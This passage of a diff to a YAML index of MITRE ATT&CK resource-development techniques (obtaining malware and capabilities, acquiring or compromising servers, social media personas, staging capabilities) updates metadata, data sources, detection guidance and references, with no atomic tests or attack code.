           Attacks. Retrieved October 14, 2020.
-      - source_name: FireEye APT29
+        source_name: FBI Flash FIN7 USB
+      - url: https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
         description: 'FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define
           a Russian Cyber Threat Group. Retrieved September 17, 2015.'
-        url: https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
-      x_mitre_platforms:
-      - PRE
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on post-compromise phases of the adversary lifecycle.
+        source_name: FireEye APT29
     atomic_tests: []
   T1588.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1588.001
-        url: https://attack.mitre.org/techniques/T1588/001
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Malware
+      x_mitre_data_sources:
+      - 'Malware Repository: Malware Metadata'
+      - 'Malware Repository: Malware Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:15:52.805Z'
+      created: '2020-10-01T02:06:11.499Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970
       description: |-
         Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.
 
         In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).
-      id: attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:14:41.582Z'
-      created: '2020-10-01T02:06:11.499Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on post-compromise phases of the adversary lifecycle.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1588/001
+        external_id: T1588.001
+        source_name: mitre-attack
+      - url: https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop
+        description: 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to
+          SunshopFireEye. Retrieved March 6, 2017.'
+        source_name: FireEyeSupplyChain
     atomic_tests: []
   T1588:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1588
-        url: https://attack.mitre.org/techniques/T1588
-      - source_name: NationsBuying
-        description: Nicole Perlroth and David E. Sanger. (2013, July 12). Nations
-          Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.
-        url: https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html
-      - url: https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
-        description: 'Bill Marczak and John Scott-Railton. (2016, August 24). The
-          Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE
-          Human Rights Defender. Retrieved December 12, 2016.'
-        source_name: PegasusCitizenLab
-      - description: Fisher, D. (2012, October 31). Final Report on DigiNotar Hack
-          Shows Total Compromise of CA Servers. Retrieved March 6, 2017.
-        source_name: DiginotarCompromise
-        url: https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Obtain Capabilities
+      x_mitre_data_sources:
+      - 'Malware Repository: Malware Metadata'
+      - 'Malware Repository: Malware Content'
+      - 'Certificate: Certificate Registration'
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:26:22.831Z'
+      created: '2020-10-01T01:56:24.776Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1
       description: |-
         Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.
 
         In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)
 
         In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)
-      id: attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:15:21.193Z'
-      created: '2020-10-01T01:56:24.776Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related stages of the adversary lifecycle, such
-        as during Defense Evasion or Command and Control.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)
+
+        Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1588
+        external_id: T1588
+        source_name: mitre-attack
+      - url: https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html
+        description: Nicole Perlroth and David E. Sanger. (2013, July 12). Nations
+          Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.
+        source_name: NationsBuying
+      - source_name: PegasusCitizenLab
+        description: 'Bill Marczak and John Scott-Railton. (2016, August 24). The
+          Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE
+          Human Rights Defender. Retrieved December 12, 2016.'
+        url: https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
+      - url: https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/
+        description: Fisher, D. (2012, October 31). Final Report on DigiNotar Hack
+          Shows Total Compromise of CA Servers. Retrieved March 6, 2017.
+        source_name: DiginotarCompromise
+      - url: https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop
+        description: 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to
+          SunshopFireEye. Retrieved March 6, 2017.'
+        source_name: FireEyeSupplyChain
+      - url: https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/
+        description: Maynier, E. (2020, December 20). Analyzing Cobalt Strike for
+          Fun and Profit. Retrieved October 12, 2021.
+        source_name: Analyzing CS Dec 2020
+      - url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
+        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
+          Certificates. Retrieved October 16, 2020.
+        source_name: Splunk Kovar Certificates 2017
+      - url: https://www.recordedfuture.com/cobalt-strike-servers/
+        description: Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying
+          Rogue Cobalt Strike Servers. Retrieved October 16, 2020.
+        source_name: Recorded Future Beacon Certificates
     atomic_tests: []
   T1583.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1583.004
-        url: https://attack.mitre.org/techniques/T1583/004
-      - source_name: NYTStuxnet
-        description: William J. Broad, John Markoff, and David E. Sanger. (2011, January
-          15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved
-          March 1, 2017.
-        url: https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Server
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Metadata'
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T15:39:45.736Z'
+      created: '2020-10-01T00:48:09.578Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337
       description: |-
         Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.
 
         Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)
-      id: attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T02:51:18.167Z'
-      created: '2020-10-01T00:48:09.578Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related stages of the adversary lifecycle, such
-        as during Command and Control.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1583/004
+        external_id: T1583.004
+        source_name: mitre-attack
+      - url: https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html
+        description: William J. Broad, John Markoff, and David E. Sanger. (2011, January
+          15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved
+          March 1, 2017.
+        source_name: NYTStuxnet
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
+      - url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
+        description: Stephens, A. (2020, July 13). SCANdalous! (External Detection
+          Using Network Scan Data and Automation). Retrieved October 12, 2021.
+        source_name: Mandiant SCANdalous Jul 2020
+      - url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
+        description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with
+          Shodan. Retrieved October 12, 2021.
+        source_name: Koczwara Beacon Hunting Sep 2021
     atomic_tests: []
   T1584.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1584.004
-        url: https://attack.mitre.org/techniques/T1584/004
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Server
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Metadata'
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:00:16.273Z'
+      created: '2020-10-01T00:56:25.135Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5
       description: |-
         Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.
 
         Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).
-      id: attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:03:22.184Z'
-      created: '2020-10-01T00:56:25.135Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related stages of the adversary lifecycle, such
-        as during Command and Control.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1584/004
+        external_id: T1584.004
+        source_name: mitre-attack
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
+      - url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
+        description: Stephens, A. (2020, July 13). SCANdalous! (External Detection
+          Using Network Scan Data and Automation). Retrieved October 12, 2021.
+        source_name: Mandiant SCANdalous Jul 2020
+      - url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
+        description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with
+          Shodan. Retrieved October 12, 2021.
+        source_name: Koczwara Beacon Hunting Sep 2021
     atomic_tests: []
   T1585.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1585.001
-        url: https://attack.mitre.org/techniques/T1585/001
-      - source_name: NEWSCASTER2014
-        description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials
-          in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.
-        url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation
-      - source_name: BlackHatRobinSage
-        description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved
-          March 6, 2017.
-        url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Social Media Accounts
+      x_mitre_data_sources:
+      - 'Persona: Social Media'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-16T17:37:34.563Z'
+      created: '2020-10-01T01:08:41.124Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928
       description: "Adversaries may create and cultivate social media accounts that
         can be used during targeting. Adversaries can create social media accounts
         that can be used to build a persona to further operations. Persona development
@@ -61561,44 +63523,43 @@ resource-development:
         NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged
         during other phases of the adversary lifecycle, such as during Initial Access
         (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003))."
-      id: attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:10:35.708Z'
-      created: '2020-10-01T01:08:41.124Z'
       x_mitre_detection: |-
         Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1585/001
+        external_id: T1585.001
+        source_name: mitre-attack
+      - url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation
+        description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials
+          in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.
+        source_name: NEWSCASTER2014
+      - url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
+        description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved
+          March 6, 2017.
+        source_name: BlackHatRobinSage
     atomic_tests: []
   T1586.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1586.001
-        url: https://attack.mitre.org/techniques/T1586/001
-      - source_name: AnonHBGary
-        description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside
-          story of the HBGary hack. Retrieved March 9, 2017.'
-        url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
-      - source_name: NEWSCASTER2014
-        description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials
-          in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.
-        url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation
-      - source_name: BlackHatRobinSage
-        description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved
-          March 6, 2017.
-        url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Social Media Accounts
+      x_mitre_data_sources:
+      - 'Persona: Social Media'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-16T17:15:12.169Z'
+      created: '2020-10-01T01:18:35.535Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d
       description: "Adversaries may compromise social media accounts that can be used
         during targeting. For operations incorporating social engineering, the utilization
         of an online persona may be important. Rather than creating and cultivating
@@ -61621,63 +63582,46 @@ resource-development:
         through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised
         profiles may be leveraged during other phases of the adversary lifecycle,
         such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003))."
-      id: attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T02:59:06.872Z'
-      created: '2020-10-01T01:18:35.535Z'
       x_mitre_detection: |-
         Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1586/001
+        external_id: T1586.001
+        source_name: mitre-attack
+      - url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
+        description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside
+          story of the HBGary hack. Retrieved March 9, 2017.'
+        source_name: AnonHBGary
+      - url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation
+        description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials
+          in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.
+        source_name: NEWSCASTER2014
+      - url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
+        description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved
+          March 6, 2017.
+        source_name: BlackHatRobinSage
     atomic_tests: []
   T1608:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1608
-        url: https://attack.mitre.org/techniques/T1608
-      - source_name: Volexity Ocean Lotus November 2020
-        url: https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
-        description: 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus:
-          Extending Cyber Espionage Operations Through Fake Websites. Retrieved November
-          20, 2020.'
-      - source_name: FireEye CFR Watering Hole 2012
-        url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
-        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
-          Retrieved December 18, 2020.
-      - source_name: Gallagher 2015
-        description: Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking
-          group hacked 100+ websites to use as “watering holes”. Retrieved January
-          25, 2016.
-        url: http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
-      - source_name: ATT ScanBox
-        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
-        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
-          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
-      - source_name: Malwarebytes Silent Librarian October 2020
-        url: https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
-        description: Malwarebytes Threat Intelligence Team. (2020, October 14). Silent
-          Librarian APT right on schedule for 20/21 academic year. Retrieved February
-          3, 2021.
-      - source_name: Proofpoint TA407 September 2019
-        url: https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
-        description: 'Proofpoint Threat Insight Team. (2019, September 5). Threat
-          Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.'
-      - source_name: DigiCert Install SSL Cert
-        url: https://www.digicert.com/kb/ssl-certificate-installation.htm
-        description: DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved
-          April 19, 2021.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Stage Capabilities
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:28:41.815Z'
+      created: '2021-03-17T20:04:09.331Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0
       description: |-
         Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)
 
@@ -61687,54 +63631,92 @@ resource-development:
         * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)
         * Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)
         * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)
-      id: attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-27T19:01:22.653Z'
-      created: '2021-03-17T20:04:09.331Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related stages of the adversary lifecycle, such
-        as initial access and post-compromise behaviors.
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1608
+        external_id: T1608
+        source_name: mitre-attack
+      - url: https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
+        description: 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus:
+          Extending Cyber Espionage Operations Through Fake Websites. Retrieved November
+          20, 2020.'
+        source_name: Volexity Ocean Lotus November 2020
+      - url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
+        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
+          Retrieved December 18, 2020.
+        source_name: FireEye CFR Watering Hole 2012
+      - url: http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
+        description: Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking
+          group hacked 100+ websites to use as “watering holes”. Retrieved January
+          25, 2016.
+        source_name: Gallagher 2015
+      - url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
+        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
+          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
+        source_name: ATT ScanBox
+      - url: https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
+        description: Malwarebytes Threat Intelligence Team. (2020, October 14). Silent
+          Librarian APT right on schedule for 20/21 academic year. Retrieved February
